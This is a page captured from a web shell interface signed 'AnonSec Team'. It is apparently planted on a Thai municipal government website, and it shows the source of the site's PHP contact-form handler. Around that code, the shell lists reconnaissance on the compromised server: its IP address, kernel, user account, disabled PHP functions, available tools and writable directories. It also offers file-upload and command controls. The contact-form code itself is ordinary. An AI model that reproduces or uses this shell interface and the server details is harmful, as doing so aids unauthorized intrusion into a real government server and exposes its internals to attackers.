NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.19.237.16
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/domains/sumpatuan.go.th/public_html/main/action/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/domains/sumpatuan.go.th/public_html/main/action/save-subEService-ContactService.php
<?php
require_once('../db_main.php');
header('Content-Type: text/html; charset=UTF-8');
date_default_timezone_set("Asia/Bangkok"); 
$datetime = date('d/m/Y H.i'); 
if(isset($_POST['g-recaptcha-response'])){
    $captcha = $_POST['g-recaptcha-response'];
    $response = json_decode(file_get_contents("https://www.google.com/recaptcha/api/siteverify?secret=".$gg_secretkey."&response=".$captcha."&remoteip=".$_SERVER['REMOTE_ADDR']), true);
    if(!$captcha){
        echo "<SCRIPT type='text/javascript'>
            alert('ส่งข้อมูลการรับฟังความคิดเห็น ไม่สำเร็จ กรุณาลองใหม่อีกครั้ง [C-RECAPTCHA]');
            window.location.replace('../subEService-ContactService#data');
            </SCRIPT>";
        exit;      
    }else if( $response['success'] == true ){
 
        if(!isset($_POST['txt_name']) or !isset($_POST['txt_ct_name']) or !isset($_POST['txt_ct_tel']) or !isset($_POST['txt_details']) ){
            echo "<SCRIPT type='text/javascript'>
                alert('กรอกข้อมูลให้ครบถ้วน');
                window.location.replace('../subEService-ContactService#data');
            </SCRIPT>";
            exit;
        }else{
            $data_type ='ช่องทางการรับฟังความคิดเห็น';
            $data_name = $con_db_main->real_escape_string($_POST['txt_name']);
            $data_ct_name = $con_db_main->real_escape_string($_POST['txt_ct_name']);
            $data_ct_tel = $con_db_main->real_escape_string($_POST['txt_ct_tel']);
            $data_ct_email = $con_db_main->real_escape_string($_POST['txt_ct_email']);
            $data_details = $con_db_main->real_escape_string($_POST['txt_details']);

            $insert_data = " INSERT INTO `data_contact`(`type_contact`, `name_contact`, `ct_name_contact`, `ct_tel_contact`, `ct_email_contact`, `details_contact`, `datetime_contact`, `stt_contact`) 
                        VALUES ('$data_type', '$data_name', '$data_ct_name', '$data_ct_tel', '$data_ct_email', '$data_details', '$datetime', '0' ) ";     
            $action_data = $con_db_main->query($insert_data);
            if(!$action_data){
                echo "<SCRIPT type='text/javascript'>
                        alert('ส่งข้อมูลการรับฟังความคิดเห็น ไม่สำเร็จ กรุณาลองใหม่อีกครั้ง');
                        window.location.replace('../subEService-ContactService#data');
                        </SCRIPT>";
                exit;
            }else{
                echo "<SCRIPT type='text/javascript'>
                        alert('ส่งข้อมูลการรับฟังความคิดเห็น สำเร็จ');
                        window.location.replace('../subEService-ContactService#data');
                        </SCRIPT>";
                exit;
            }
                
        }

    }else{
        echo "<SCRIPT type='text/javascript'>
            alert('ส่งข้อมูลการรับฟังความคิดเห็น ไม่สำเร็จ กรุณาลองใหม่อีกครั้ง [C-RECAPTCHA-FALSE]');
            window.location.replace('../subEService-ContactService#data');
            </SCRIPT>";
        exit;   
    }
}else{
    echo "<SCRIPT type='text/javascript'>
        alert('เกิดข้อผิดพลาด [C-NOTRECAPTCHA]');
        window.location.replace('../subEService-ContactService#data');
        </SCRIPT>";
    exit;    
}

mysqli_close($con_db_main);
?>

Anon7 - 2022
AnonSec Team